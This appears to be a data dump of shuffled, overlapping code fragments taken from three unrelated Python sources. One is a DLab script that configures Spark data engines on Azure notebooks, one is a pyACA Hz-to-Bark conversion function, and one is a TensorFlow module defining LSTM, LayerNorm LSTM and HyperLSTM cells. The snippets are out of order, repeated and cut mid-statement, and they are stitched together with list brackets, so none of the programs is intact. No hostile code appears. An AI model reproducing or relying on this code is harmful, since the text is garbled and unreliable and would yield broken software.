slave_name) AzureActions().remove_instance(notebook_config['resource_group_name'], notebook_config['master_node_name']) append_result(\"Failed installing", "ASF licenses this file # to you under the Apache", "= \"{}_{}_{}.log\".format(os.environ['conf_resource'], os.environ['project_name'], os.environ['request_id']) local_log_filepath = \"/logs/\" + os.environ['conf_resource'] +", "and tags') notebook_config = dict() try: notebook_config['exploratory_name'] = os.environ['exploratory_name'].replace('_', '-')", "on an # \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS", "'{}'.format(i+1) AzureActions().remove_instance(notebook_config['resource_group_name'], slave_name) AzureActions().remove_instance(notebook_config['resource_group_name'], notebook_config['master_node_name']) append_result(\"Failed to configure Spark.\", str(err))", "KERNELS INTO SPECIFIED NOTEBOOK]') print('[INSTALLING KERNELS INTO SPECIFIED NOTEBOOK]') params", "ownership. The ASF licenses this file # to you under", "os.environ['request_id']) local_log_filepath = \"/logs/\" + os.environ['conf_resource'] + \"/\" + local_log_filename", "copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #", "AzureActions().remove_instance(notebook_config['resource_group_name'], notebook_config['master_node_name']) append_result(\"Failed to generate infrastructure names\", str(err)) sys.exit(1) try:", "import json import sys from dlab.fab import * from dlab.meta_lib", "#!/usr/bin/python # ***************************************************************************** # # Licensed to the Apache Software", "= AzureMeta().get_private_ip_address( notebook_config['resource_group_name'], notebook_config['master_node_name']) notebook_config['notebook_ip'] = AzureMeta().get_private_ip_address( notebook_config['resource_group_name'], notebook_config['notebook_name']) except", "with the License. You may obtain a copy of the", "\" \\ \"--cluster_name {3} \" \\ .format(notebook_config['notebook_ip'], notebook_config['key_path'], notebook_config['dlab_ssh_user'], notebook_config['cluster_name'])", "import * from dlab.meta_lib import * from dlab.actions_lib import *", "applicable law or agreed to in writing, # software distributed", "+ '{}'.format(i+1) AzureActions().remove_instance(notebook_config['resource_group_name'], slave_name) AzureActions().remove_instance(notebook_config['resource_group_name'], notebook_config['master_node_name']) append_result(\"Failed to generate infrastructure", "'-') notebook_config['cluster_name'] = notebook_config['service_base_name'] + '-' + notebook_config['project_name'] + \\", "\\ '-de-' + notebook_config['exploratory_name'] + '-' + \\ notebook_config['computational_name'] notebook_config['master_node_name']", "\"--cluster_name {0} --spark_version {1} --hadoop_version {2} --os_user {3} --spark_master {4}\"", "is distributed on an # \"AS IS\" BASIS, WITHOUT WARRANTIES", "file # to you under the Apache License, Version 2.0", "\"/logs/\" + os.environ['conf_resource'] + \"/\" + local_log_filename logging.basicConfig(format='%(levelname)-8s [%(asctime)s] %(message)s',", "{5} --notebook_ip {6} --datalake_enabled {7} --spark_master_ip {8}\".\\ format(notebook_config['cluster_name'], os.environ['notebook_spark_version'], os.environ['notebook_hadoop_version'],", "{0}'.format(err)) sys.exit(1) notebook_config['spark_master_url'] = 'spark://{}:7077'.format(notebook_config['spark_master_ip']) except Exception as err: for", "# with the License. You may obtain a copy of", "Spark.\", str(err)) sys.exit(1) try: with open(\"/root/result.json\", 'w') as result: res", "# http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or", "import os import uuid if __name__ == \"__main__\": local_log_filename =", "language governing permissions and limitations # under the License. #", "print('Error: {0}'.format(err)) for i in range(notebook_config['instance_count'] - 1): slave_name =", "permissions and limitations # under the License. # # ******************************************************************************", "1): slave_name = notebook_config['slave_node_name'] + '{}'.format(i+1) AzureActions().remove_instance(notebook_config['resource_group_name'], slave_name) AzureActions().remove_instance(notebook_config['resource_group_name'], notebook_config['master_node_name'])", "notebook_config['slave_node_name'] = notebook_config['cluster_name'] + '-s' notebook_config['notebook_name'] = os.environ['notebook_instance_name'] notebook_config['key_path'] =", "software distributed under the License is distributed on an #", "Licensed to the Apache Software Foundation (ASF) under one #", "os.environ['notebook_spark_version'], os.environ['notebook_hadoop_version'], notebook_config['dlab_ssh_user'], notebook_config['spark_master_url'], notebook_config['key_path'], notebook_config['notebook_ip'], os.environ['azure_datalake_enable'], notebook_config['spark_master_ip']) try: local(\"~/scripts/{}_{}.py", "notebook_config['master_node_name']) append_result(\"Failed to configure Spark.\", str(err)) sys.exit(1) try: with open(\"/root/result.json\",", "raise Exception except Exception as err: print('Error: {0}'.format(err)) for i", "+ '-s' notebook_config['notebook_name'] = os.environ['notebook_instance_name'] notebook_config['key_path'] = os.environ['conf_key_dir'] + '/'", "os.environ['notebook_hadoop_version'], notebook_config['dlab_ssh_user'], notebook_config['spark_master_url'], notebook_config['key_path'], notebook_config['notebook_ip'], os.environ['azure_datalake_enable'], notebook_config['spark_master_ip']) try: local(\"~/scripts/{}_{}.py {}\".format(os.environ['application'],", "filename=local_log_filepath) try: # generating variables dictionary print('Generating infrastructure names and", "\"--hostname {0} \" \\ \"--keyfile {1} \" \\ \"--os_user {2}", "under one # or more contributor license agreements. See the", "'-' + \\ notebook_config['computational_name'] notebook_config['master_node_name'] = notebook_config['cluster_name'] + '-m' notebook_config['slave_node_name']", "a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #", "try: notebook_config['computational_name'] = os.environ['computational_name'].replace('_', '-') except: notebook_config['computational_name'] = '' notebook_config['service_base_name']", "information # regarding copyright ownership. The ASF licenses this file", "{}\".format(os.environ['application'], 'install_dataengine_kernels', params)) except: traceback.print_exc() raise Exception except Exception as", "the Apache License, Version 2.0 (the # \"License\"); you may", "KERNELS INTO SPECIFIED NOTEBOOK]') params = \"--cluster_name {0} --spark_version {1}", "os.environ['notebook_instance_name'] notebook_config['key_path'] = os.environ['conf_key_dir'] + '/' + os.environ['conf_key_name'] + '.pem'", "tags') notebook_config = dict() try: notebook_config['exploratory_name'] = os.environ['exploratory_name'].replace('_', '-') except:", "you under the Apache License, Version 2.0 (the # \"License\");", "ON NOTEBOOK]') print('[UPDATING SPARK CONFIGURATION FILES ON NOTEBOOK]') params =", "# KIND, either express or implied. See the License for", "format(notebook_config['cluster_name'], os.environ['notebook_spark_version'], os.environ['notebook_hadoop_version'], notebook_config['dlab_ssh_user'], notebook_config['spark_master_url'], notebook_config['key_path'], notebook_config['notebook_ip'], os.environ['azure_datalake_enable'], notebook_config['spark_master_ip']) try:", "notebook_config['resource_group_name'], notebook_config['master_node_name']) notebook_config['notebook_ip'] = AzureMeta().get_private_ip_address( notebook_config['resource_group_name'], notebook_config['notebook_name']) except Exception as", "AzureActions().remove_instance(notebook_config['resource_group_name'], slave_name) AzureActions().remove_instance(notebook_config['resource_group_name'], notebook_config['master_node_name']) append_result(\"Failed installing Dataengine kernels.\", str(err)) sys.exit(1)", "= \"--cluster_name {0} --spark_version {1} --hadoop_version {2} --os_user {3} --spark_master", "agreements. See the NOTICE file # distributed with this work", "{2} \" \\ \"--cluster_name {3} \" \\ .format(notebook_config['notebook_ip'], notebook_config['key_path'], notebook_config['dlab_ssh_user'],", "licenses this file # to you under the Apache License,", "in range(notebook_config['instance_count'] - 1): slave_name = notebook_config['slave_node_name'] + '{}'.format(i+1) AzureActions().remove_instance(notebook_config['resource_group_name'],", "Exception as err: print('Error: {0}'.format(err)) sys.exit(1) notebook_config['spark_master_url'] = 'spark://{}:7077'.format(notebook_config['spark_master_ip']) except", "by applicable law or agreed to in writing, # software", "# Unless required by applicable law or agreed to in", "from dlab.actions_lib import * import os import uuid if __name__", "logging.basicConfig(format='%(levelname)-8s [%(asctime)s] %(message)s', level=logging.DEBUG, filename=local_log_filepath) try: # generating variables dictionary", "try: local(\"~/scripts/{}_{}.py {}\".format(os.environ['application'], 'install_dataengine_kernels', params)) except: traceback.print_exc() raise Exception except", "notebook_config['dlab_ssh_user'] = os.environ['conf_os_user'] notebook_config['instance_count'] = int(os.environ['dataengine_instance_count']) try: notebook_config['spark_master_ip'] = AzureMeta().get_private_ip_address(", "json import sys from dlab.fab import * from dlab.meta_lib import", "IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND,", "'' notebook_config['service_base_name'] = os.environ['conf_service_base_name'] notebook_config['resource_group_name'] = os.environ['azure_resource_group_name'] notebook_config['region'] = os.environ['azure_region']", "License. You may obtain a copy of the License at", "+ '.pem' notebook_config['dlab_ssh_user'] = os.environ['conf_os_user'] notebook_config['instance_count'] = int(os.environ['dataengine_instance_count']) try: notebook_config['spark_master_ip']", "You may obtain a copy of the License at #", "infrastructure names and tags') notebook_config = dict() try: notebook_config['exploratory_name'] =", "compliance # with the License. You may obtain a copy", "{7} --spark_master_ip {8}\".\\ format(notebook_config['cluster_name'], os.environ['notebook_spark_version'], os.environ['notebook_hadoop_version'], notebook_config['dlab_ssh_user'], notebook_config['spark_master_url'], notebook_config['key_path'], notebook_config['notebook_ip'],", "= \"--hostname {0} \" \\ \"--keyfile {1} \" \\ \"--os_user", "print('[INSTALLING KERNELS INTO SPECIFIED NOTEBOOK]') params = \"--cluster_name {0} --spark_version", "notebook_config['service_base_name'] = os.environ['conf_service_base_name'] notebook_config['resource_group_name'] = os.environ['azure_resource_group_name'] notebook_config['region'] = os.environ['azure_region'] notebook_config['user_name']", "res = {\"notebook_name\": notebook_config['notebook_name'], \"Action\": \"Configure notebook server\"} print(json.dumps(res)) result.write(json.dumps(res))", "notebook_config['slave_node_name'] + '{}'.format(i+1) AzureActions().remove_instance(notebook_config['resource_group_name'], slave_name) AzureActions().remove_instance(notebook_config['resource_group_name'], notebook_config['master_node_name']) append_result(\"Failed to generate" ]
[ "def acaTraunmuller_scalar(f): return 26.81/(1+1960./f) - 0.53 f = np.asarray(fInHz) if", "acaSchroeder_scalar(f) fBark = np.zeros(f.shape) if cModel == 'Terhardt': for k,fi", "np import math def ToolFreq2Bark(fInHz, cModel = 'Schroeder'): def acaSchroeder_scalar(f):", "np.zeros(f.shape) if cModel == 'Terhardt': for k,fi in enumerate(f): fBark[k]", "('Schroeder' [default], 'Terhardt', 'Zwicker', 'Traunmuller') Returns: Bark values of the", "scale Args: fInHz: The frequency to be converted, can be", "cModel == 'Zwicker': return acaZwicker_scalar(f) elif cModel == 'Traunmuller': return", "the model ('Schroeder' [default], 'Terhardt', 'Zwicker', 'Traunmuller') Returns: Bark values", "enumerate(f): fBark[k] = acaTerhardt_scalar(fi) elif cModel == 'Zwicker': for k,fi", "math.atan(0.75 * f/1000) def acaZwicker_scalar(f): return 13 * math.atan(0.76 *", "'Terhardt': return acaTerhardt_scalar(f) elif cModel == 'Zwicker': return acaZwicker_scalar(f) elif", "== 'Zwicker': for k,fi in enumerate(f): fBark[k] = acaZwicker_scalar(fi) elif", "f/1000) + 3.5 * math.atan(f/7500) def acaTraunmuller_scalar(f): return 26.81/(1+1960./f) -", "Bark scale Args: fInHz: The frequency to be converted, can", "import numpy as np import math def ToolFreq2Bark(fInHz, cModel =", "acaTerhardt_scalar(f): return 13.3 * math.atan(0.75 * f/1000) def acaZwicker_scalar(f): return", "acaTraunmuller_scalar(fi) else: for k,fi in enumerate(f): fBark[k] = acaSchroeder_scalar(fi) return", "k,fi in enumerate(f): fBark[k] = acaTerhardt_scalar(fi) elif cModel == 'Zwicker':", "Returns: Bark values of the input dimension \"\"\" import numpy", "acaZwicker_scalar(f) elif cModel == 'Traunmuller': return acaTraunmuller_scalar(f) else: return acaSchroeder_scalar(f)", "= np.zeros(f.shape) if cModel == 'Terhardt': for k,fi in enumerate(f):", "as np import math def ToolFreq2Bark(fInHz, cModel = 'Schroeder'): def", "13.3 * math.atan(0.75 * f/1000) def acaZwicker_scalar(f): return 13 *", "'Traunmuller') Returns: Bark values of the input dimension \"\"\" import", "ToolFreq2Bark(fInHz, cModel = 'Schroeder'): def acaSchroeder_scalar(f): return 7 * math.asinh(f/650)", "return 13.3 * math.atan(0.75 * f/1000) def acaZwicker_scalar(f): return 13", "<reponame>ruohoruotsi/pyACA<filename>pyACA/ToolFreq2Bark.py<gh_stars>10-100 # -*- coding: utf-8 -*- \"\"\" helper function: convert", "def acaSchroeder_scalar(f): return 7 * math.asinh(f/650) def acaTerhardt_scalar(f): return 13.3", "to be converted, can be scalar or vector cModel: The", "* math.atan(f/7500) def acaTraunmuller_scalar(f): return 26.81/(1+1960./f) - 0.53 f =", "for k,fi in enumerate(f): fBark[k] = acaTerhardt_scalar(fi) elif cModel ==", "3.5 * math.atan(f/7500) def acaTraunmuller_scalar(f): return 26.81/(1+1960./f) - 0.53 f", "np.asarray(fInHz) if f.ndim == 0: if cModel == 'Terhardt': return", "scalar or vector cModel: The name of the model ('Schroeder'", "The name of the model ('Schroeder' [default], 'Terhardt', 'Zwicker', 'Traunmuller')", "== 'Zwicker': return acaZwicker_scalar(f) elif cModel == 'Traunmuller': return acaTraunmuller_scalar(f)", "enumerate(f): fBark[k] = acaTraunmuller_scalar(fi) else: for k,fi in enumerate(f): fBark[k]", "= acaTraunmuller_scalar(fi) else: for k,fi in enumerate(f): fBark[k] = acaSchroeder_scalar(fi)", "coding: utf-8 -*- \"\"\" helper function: convert Hz to Bark", "convert Hz to Bark scale Args: fInHz: The frequency to", "fBark[k] = acaZwicker_scalar(fi) elif cModel == 'Traunmuller': for k,fi in", "vector cModel: The name of the model ('Schroeder' [default], 'Terhardt',", "cModel = 'Schroeder'): def acaSchroeder_scalar(f): return 7 * math.asinh(f/650) def", "* math.asinh(f/650) def acaTerhardt_scalar(f): return 13.3 * math.atan(0.75 * f/1000)", "* math.atan(0.76 * f/1000) + 3.5 * math.atan(f/7500) def acaTraunmuller_scalar(f):", "return acaTerhardt_scalar(f) elif cModel == 'Zwicker': return acaZwicker_scalar(f) elif cModel", "return 26.81/(1+1960./f) - 0.53 f = np.asarray(fInHz) if f.ndim ==", "* math.atan(0.75 * f/1000) def acaZwicker_scalar(f): return 13 * math.atan(0.76", "13 * math.atan(0.76 * f/1000) + 3.5 * math.atan(f/7500) def", "\"\"\" import numpy as np import math def ToolFreq2Bark(fInHz, cModel", "helper function: convert Hz to Bark scale Args: fInHz: The", "cModel: The name of the model ('Schroeder' [default], 'Terhardt', 'Zwicker',", "'Terhardt', 'Zwicker', 'Traunmuller') Returns: Bark values of the input dimension", "== 'Traunmuller': for k,fi in enumerate(f): fBark[k] = acaTraunmuller_scalar(fi) else:", "elif cModel == 'Traunmuller': for k,fi in enumerate(f): fBark[k] =", "'Traunmuller': for k,fi in enumerate(f): fBark[k] = acaTraunmuller_scalar(fi) else: for", "return 7 * math.asinh(f/650) def acaTerhardt_scalar(f): return 13.3 * math.atan(0.75", "= np.asarray(fInHz) if f.ndim == 0: if cModel == 'Terhardt':", "cModel == 'Zwicker': for k,fi in enumerate(f): fBark[k] = acaZwicker_scalar(fi)", "model ('Schroeder' [default], 'Terhardt', 'Zwicker', 'Traunmuller') Returns: Bark values of", "'Schroeder'): def acaSchroeder_scalar(f): return 7 * math.asinh(f/650) def acaTerhardt_scalar(f): return", "k,fi in enumerate(f): fBark[k] = acaTraunmuller_scalar(fi) else: for k,fi in", "in enumerate(f): fBark[k] = acaZwicker_scalar(fi) elif cModel == 'Traunmuller': for", "-*- coding: utf-8 -*- \"\"\" helper function: convert Hz to", "numpy as np import math def ToolFreq2Bark(fInHz, cModel = 'Schroeder'):", "f/1000) def acaZwicker_scalar(f): return 13 * math.atan(0.76 * f/1000) +", "acaZwicker_scalar(fi) elif cModel == 'Traunmuller': for k,fi in enumerate(f): fBark[k]", "if cModel == 'Terhardt': for k,fi in enumerate(f): fBark[k] =", "acaTerhardt_scalar(fi) elif cModel == 'Zwicker': for k,fi in enumerate(f): fBark[k]", "fBark[k] = acaTerhardt_scalar(fi) elif cModel == 'Zwicker': for k,fi in", "fBark = np.zeros(f.shape) if cModel == 'Terhardt': for k,fi in", "* f/1000) + 3.5 * math.atan(f/7500) def acaTraunmuller_scalar(f): return 26.81/(1+1960./f)", "enumerate(f): fBark[k] = acaZwicker_scalar(fi) elif cModel == 'Traunmuller': for k,fi", "name of the model ('Schroeder' [default], 'Terhardt', 'Zwicker', 'Traunmuller') Returns:", "of the model ('Schroeder' [default], 'Terhardt', 'Zwicker', 'Traunmuller') Returns: Bark", "== 'Terhardt': for k,fi in enumerate(f): fBark[k] = acaTerhardt_scalar(fi) elif", "The frequency to be converted, can be scalar or vector", "Hz to Bark scale Args: fInHz: The frequency to be", "'Traunmuller': return acaTraunmuller_scalar(f) else: return acaSchroeder_scalar(f) fBark = np.zeros(f.shape) if", "+ 3.5 * math.atan(f/7500) def acaTraunmuller_scalar(f): return 26.81/(1+1960./f) - 0.53", "can be scalar or vector cModel: The name of the", "to Bark scale Args: fInHz: The frequency to be converted,", "fBark[k] = acaTraunmuller_scalar(fi) else: for k,fi in enumerate(f): fBark[k] =", "acaZwicker_scalar(f): return 13 * math.atan(0.76 * f/1000) + 3.5 *", "return acaSchroeder_scalar(f) fBark = np.zeros(f.shape) if cModel == 'Terhardt': for", "dimension \"\"\" import numpy as np import math def ToolFreq2Bark(fInHz,", "elif cModel == 'Traunmuller': return acaTraunmuller_scalar(f) else: return acaSchroeder_scalar(f) fBark", "else: for k,fi in enumerate(f): fBark[k] = acaSchroeder_scalar(fi) return (fBark)", "== 0: if cModel == 'Terhardt': return acaTerhardt_scalar(f) elif cModel", "utf-8 -*- \"\"\" helper function: convert Hz to Bark scale", "acaTraunmuller_scalar(f): return 26.81/(1+1960./f) - 0.53 f = np.asarray(fInHz) if f.ndim", "math def ToolFreq2Bark(fInHz, cModel = 'Schroeder'): def acaSchroeder_scalar(f): return 7", "cModel == 'Terhardt': return acaTerhardt_scalar(f) elif cModel == 'Zwicker': return", "acaSchroeder_scalar(f): return 7 * math.asinh(f/650) def acaTerhardt_scalar(f): return 13.3 *", "function: convert Hz to Bark scale Args: fInHz: The frequency", "converted, can be scalar or vector cModel: The name of", "def acaTerhardt_scalar(f): return 13.3 * math.atan(0.75 * f/1000) def acaZwicker_scalar(f):", "cModel == 'Traunmuller': for k,fi in enumerate(f): fBark[k] = acaTraunmuller_scalar(fi)", "in enumerate(f): fBark[k] = acaTerhardt_scalar(fi) elif cModel == 'Zwicker': for", "acaTraunmuller_scalar(f) else: return acaSchroeder_scalar(f) fBark = np.zeros(f.shape) if cModel ==", "elif cModel == 'Zwicker': return acaZwicker_scalar(f) elif cModel == 'Traunmuller':", "cModel == 'Terhardt': for k,fi in enumerate(f): fBark[k] = acaTerhardt_scalar(fi)", "for k,fi in enumerate(f): fBark[k] = acaTraunmuller_scalar(fi) else: for k,fi", "\"\"\" helper function: convert Hz to Bark scale Args: fInHz:", "cModel == 'Traunmuller': return acaTraunmuller_scalar(f) else: return acaSchroeder_scalar(f) fBark =", "= acaTerhardt_scalar(fi) elif cModel == 'Zwicker': for k,fi in enumerate(f):", "else: return acaSchroeder_scalar(f) fBark = np.zeros(f.shape) if cModel == 'Terhardt':", "k,fi in enumerate(f): fBark[k] = acaZwicker_scalar(fi) elif cModel == 'Traunmuller':", "of the input dimension \"\"\" import numpy as np import", "== 'Terhardt': return acaTerhardt_scalar(f) elif cModel == 'Zwicker': return acaZwicker_scalar(f)", "7 * math.asinh(f/650) def acaTerhardt_scalar(f): return 13.3 * math.atan(0.75 *", "'Zwicker': for k,fi in enumerate(f): fBark[k] = acaZwicker_scalar(fi) elif cModel", "if f.ndim == 0: if cModel == 'Terhardt': return acaTerhardt_scalar(f)", "for k,fi in enumerate(f): fBark[k] = acaZwicker_scalar(fi) elif cModel ==", "Args: fInHz: The frequency to be converted, can be scalar", "math.atan(0.76 * f/1000) + 3.5 * math.atan(f/7500) def acaTraunmuller_scalar(f): return", "# -*- coding: utf-8 -*- \"\"\" helper function: convert Hz", "be scalar or vector cModel: The name of the model", "[default], 'Terhardt', 'Zwicker', 'Traunmuller') Returns: Bark values of the input", "input dimension \"\"\" import numpy as np import math def", "* f/1000) def acaZwicker_scalar(f): return 13 * math.atan(0.76 * f/1000)", "-*- \"\"\" helper function: convert Hz to Bark scale Args:", "or vector cModel: The name of the model ('Schroeder' [default],", "return 13 * math.atan(0.76 * f/1000) + 3.5 * math.atan(f/7500)", "values of the input dimension \"\"\" import numpy as np", "be converted, can be scalar or vector cModel: The name", "return acaZwicker_scalar(f) elif cModel == 'Traunmuller': return acaTraunmuller_scalar(f) else: return", "the input dimension \"\"\" import numpy as np import math", "in enumerate(f): fBark[k] = acaTraunmuller_scalar(fi) else: for k,fi in enumerate(f):", "fInHz: The frequency to be converted, can be scalar or", "def acaZwicker_scalar(f): return 13 * math.atan(0.76 * f/1000) + 3.5", "== 'Traunmuller': return acaTraunmuller_scalar(f) else: return acaSchroeder_scalar(f) fBark = np.zeros(f.shape)", "= 'Schroeder'): def acaSchroeder_scalar(f): return 7 * math.asinh(f/650) def acaTerhardt_scalar(f):", "'Zwicker', 'Traunmuller') Returns: Bark values of the input dimension \"\"\"", "math.asinh(f/650) def acaTerhardt_scalar(f): return 13.3 * math.atan(0.75 * f/1000) def", "'Zwicker': return acaZwicker_scalar(f) elif cModel == 'Traunmuller': return acaTraunmuller_scalar(f) else:", "frequency to be converted, can be scalar or vector cModel:", "acaTerhardt_scalar(f) elif cModel == 'Zwicker': return acaZwicker_scalar(f) elif cModel ==", "def ToolFreq2Bark(fInHz, cModel = 'Schroeder'): def acaSchroeder_scalar(f): return 7 *", "Bark values of the input dimension \"\"\" import numpy as", "26.81/(1+1960./f) - 0.53 f = np.asarray(fInHz) if f.ndim == 0:", "0: if cModel == 'Terhardt': return acaTerhardt_scalar(f) elif cModel ==", "= acaZwicker_scalar(fi) elif cModel == 'Traunmuller': for k,fi in enumerate(f):", "if cModel == 'Terhardt': return acaTerhardt_scalar(f) elif cModel == 'Zwicker':", "f.ndim == 0: if cModel == 'Terhardt': return acaTerhardt_scalar(f) elif", "- 0.53 f = np.asarray(fInHz) if f.ndim == 0: if", "'Terhardt': for k,fi in enumerate(f): fBark[k] = acaTerhardt_scalar(fi) elif cModel", "import math def ToolFreq2Bark(fInHz, cModel = 'Schroeder'): def acaSchroeder_scalar(f): return", "f = np.asarray(fInHz) if f.ndim == 0: if cModel ==", "elif cModel == 'Zwicker': for k,fi in enumerate(f): fBark[k] =", "math.atan(f/7500) def acaTraunmuller_scalar(f): return 26.81/(1+1960./f) - 0.53 f = np.asarray(fInHz)", "return acaTraunmuller_scalar(f) else: return acaSchroeder_scalar(f) fBark = np.zeros(f.shape) if cModel", "0.53 f = np.asarray(fInHz) if f.ndim == 0: if cModel" ]
[ "we use LayerNorm layers in main LSTM & HyperLSTM cell.", "scale return tf.constant(t, dtype) return _initializer class LSTMCell(contrib_rnn.RNNCell): \"\"\"Vanilla LSTM", "initializer=h_init) bias = tf.get_variable( 'bias', [4 * self.num_units], initializer=tf.constant_initializer(0.0)) #", "1) h_size = self.num_units x_size = x.get_shape().as_list()[1] batch_size = x.get_shape().as_list()[0]", "2.0 (the \"License\"); # you may not use this file", "v return q.reshape(shape) def orthogonal_initializer(scale=1.0): \"\"\"Orthogonal initializer.\"\"\" def _initializer(shape, dtype=tf.float32,", "= ix + ih + ib j = jx +", "# concat for speed. w_full = tf.concat([w_xh, w_hh], 0) concat", "(default 1.0). use_recurrent_dropout: Whether to use Recurrent Dropout (default False)", "W_hh separate here as well to use different init methods.", "+ b return tf.matmul(x, w) class LayerNormLSTMCell(contrib_rnn.RNNCell): \"\"\"Layer-Norm, with Ortho", "j, f, o = tf.split(concat, 4, 1) if self.use_recurrent_dropout: g", "concat for speed. w_full = tf.concat([w_xh, w_hh], 0) concat =", "init_w == 'gaussian': w_init = tf.random_normal_initializer(stddev=weight_start) elif init_w == 'ortho':", "hyper_num_units, use_recurrent_dropout=hyper_use_recurrent_dropout, dropout_keep_prob=dropout_keep_prob) @property def input_size(self): return self._input_size @property def", "at once (ie, i, g, j, o for lstm) #", "large (>= 512) \"\"\" self.num_units = num_units self.forget_bias = forget_bias", "None # uniform h_init = lstm_ortho_initializer(1.0) w_xh = tf.get_variable( 'W_xh',", "4, 0) # bias is to be broadcasted. # i", "__init__(self, num_units, forget_bias=1.0, use_recurrent_dropout=False, dropout_keep_prob=0.90): \"\"\"Initialize the Layer Norm LSTM", "forget_bias self.use_recurrent_dropout = use_recurrent_dropout self.dropout_keep_prob = dropout_keep_prob self.use_layer_norm = use_layer_norm", "= tf.split(state, 2, 1) x_size = x.get_shape().as_list()[1] w_init = None", "tf.variable_scope(scope): if reuse: tf.get_variable_scope().reuse_variables() gamma = tf.get_variable( 'ln_gamma', [num_units], initializer=tf.constant_initializer(gamma_start))", "h = total_h[:, 0:self.num_units] return h def hyper_norm(self, layer, scope='hyper',", "= 0.10 # cooijmans' da man. with tf.variable_scope(scope): zw =", "return 2 * self.num_units @property def output_size(self): return self.num_units def", "hyper_embedding_size: int, size of signals emitted from HyperLSTM cell. (default", "num_units self.forget_bias = forget_bias self.use_recurrent_dropout = use_recurrent_dropout self.dropout_keep_prob = dropout_keep_prob", "forget gates (default 1.0). use_recurrent_dropout: Whether to use Recurrent Dropout", "use_bias=True) fh = self.hyper_norm(fh, 'hyper_fh', use_bias=True) oh = self.hyper_norm(oh, 'hyper_oh',", "h_reshape = (h_reshape - mean) * rstd # reshape back", "larger tasks) hyper_embedding_size: int, size of signals emitted from HyperLSTM", "with tf.variable_scope(scope): if reuse: tf.get_variable_scope().reuse_variables() gamma = tf.get_variable( 'ln_gamma', [4", "= x.get_shape().as_list()[1] self._input_size = x_size w_init = None # uniform", "gamma_start=1.0, epsilon=1e-3, use_bias=True): \"\"\"Calculate layer norm.\"\"\" axes = [1] mean", "LSTMCell self.hyper_cell = cell_fn( hyper_num_units, use_recurrent_dropout=hyper_use_recurrent_dropout, dropout_keep_prob=dropout_keep_prob) @property def input_size(self):", "4, self.num_units, 'ln_all') i, j, f, o = tf.split(concat, 4,", "True) Controls whether we use LayerNorm layers in main LSTM", "initializer, and also recurrent dropout without memory loss (https://arxiv.org/abs/1603.05118) \"\"\"", "full_matrices=False) q = u if u.shape == flat_shape else v", "ox = self.hyper_norm(ox, 'hyper_ox', use_bias=False) # split Whh contributions ih,", "256 for larger tasks) hyper_embedding_size: int, size of signals emitted", "License for the specific language governing permissions and # limitations", "state_size(self): return 2 * self.num_units def get_output(self, state): h, unused_c", "return self.num_units def get_output(self, state): unused_c, h = tf.split(state, 2,", "self.num_units @property def output_size(self): return self.num_units def get_output(self, state): unused_c,", "tf.concat( [total_h[:, self.num_units:], total_c[:, self.num_units:]], 1) batch_size = x.get_shape().as_list()[0] x_size", "__future__ import print_function import numpy as np import tensorflow.compat.v1 as", "= self.hyper_norm(ix, 'hyper_ix', use_bias=False) jx = self.hyper_norm(jx, 'hyper_jx', use_bias=False) fx", "using defun).\"\"\" # Performs layer norm on multiple base at", "h], 1) hyper_output, hyper_new_state = self.hyper_cell(hyper_input, self.hyper_state) self.hyper_output = hyper_output", "with tf.variable_scope(scope or type(self).__name__): h, c = tf.split(state, 2, 1)", "from __future__ import division from __future__ import print_function import numpy", "def layer_norm(x, num_units, scope='layer_norm', reuse=False, gamma_start=1.0, epsilon=1e-3, use_bias=True): \"\"\"Calculate layer", "= use_layer_norm self.hyper_num_units = hyper_num_units self.hyper_embedding_size = hyper_embedding_size self.hyper_use_recurrent_dropout =", "import division from __future__ import print_function import numpy as np", "new_c], 1) class HyperLSTMCell(contrib_rnn.RNNCell): \"\"\"HyperLSTM with Ortho Init, Layer Norm,", "of signals emitted from HyperLSTM cell. (default is 16, recommend", "* g new_h = tf.tanh(layer_norm(new_c, self.num_units, 'ln_c')) * tf.sigmoid(o) hyper_h,", "on multiple base at once (ie, i, g, j, o", "use_bias=False) fx = self.hyper_norm(fx, 'hyper_fx', use_bias=False) ox = self.hyper_norm(ox, 'hyper_ox',", "also recurrent dropout without memory loss (https://arxiv.org/abs/1603.05118) \"\"\" def __init__(self,", "num_units]) mean = tf.reduce_mean(h_reshape, [2], keep_dims=True) var = tf.reduce_mean(tf.square(h_reshape -", "use_recurrent_dropout=False, dropout_keep_prob=0.90): \"\"\"Initialize the Layer Norm LSTM cell. Args: num_units:", "hyper_c = tf.split(hyper_new_state, 2, 1) new_total_h = tf.concat([new_h, hyper_h], 1)", "np.linalg.svd(a, full_matrices=False) q = u if u.shape == flat_shape else", "if reuse: tf.get_variable_scope().reuse_variables() w_init = None # uniform if input_size", "f = forget_gate, o = output_gate i = ix +", "h def layer_norm(x, num_units, scope='layer_norm', reuse=False, gamma_start=1.0, epsilon=1e-3, use_bias=True): \"\"\"Calculate", "forget_bias=1.0, use_recurrent_dropout=False, dropout_keep_prob=0.90, use_layer_norm=True, hyper_num_units=256, hyper_embedding_size=32, hyper_use_recurrent_dropout=False): \"\"\"Initialize the Layer", "x.get_shape().as_list()[0] x_size = x.get_shape().as_list()[1] self._input_size = x_size w_init = None", "self.hyper_norm(ih, 'hyper_ih', use_bias=True) jh = self.hyper_norm(jh, 'hyper_jh', use_bias=True) fh =", "ib, jb, fb, ob = tf.split(bias, 4, 0) # bias", "def state_size(self): return 2 * self.num_units @property def output_size(self): return", "bias added to forget gates (default 1.0). use_recurrent_dropout: Whether to", "return result def __call__(self, x, state, timestep=0, scope=None): with tf.variable_scope(scope", "w_hh], 0) concat = tf.matmul(concat, w_full) #+ bias # live", "OF ANY KIND, either express or implied. # See the", "state, scope=None): with tf.variable_scope(scope or type(self).__name__): c, h = tf.split(state,", "See the License for the specific language governing permissions and", "input_size=None): \"\"\"Performs linear operation. Uses ortho init defined earlier.\"\"\" shape", "ih = self.hyper_norm(ih, 'hyper_ih', use_bias=True) jh = self.hyper_norm(jh, 'hyper_jh', use_bias=True)", "= layer_norm_all(concat, batch_size, 4, h_size, 'ln_all') i, j, f, o", "def orthogonal(shape): \"\"\"Orthogonal initilaizer.\"\"\" flat_shape = (shape[0], np.prod(shape[1:])) a =", "to in writing, software # distributed under the License is", "type(self).__name__): c, h = tf.split(state, 2, 1) x_size = x.get_shape().as_list()[1]", "use_bias=True, bias_start=1.0, scope='zw') alpha = super_linear( 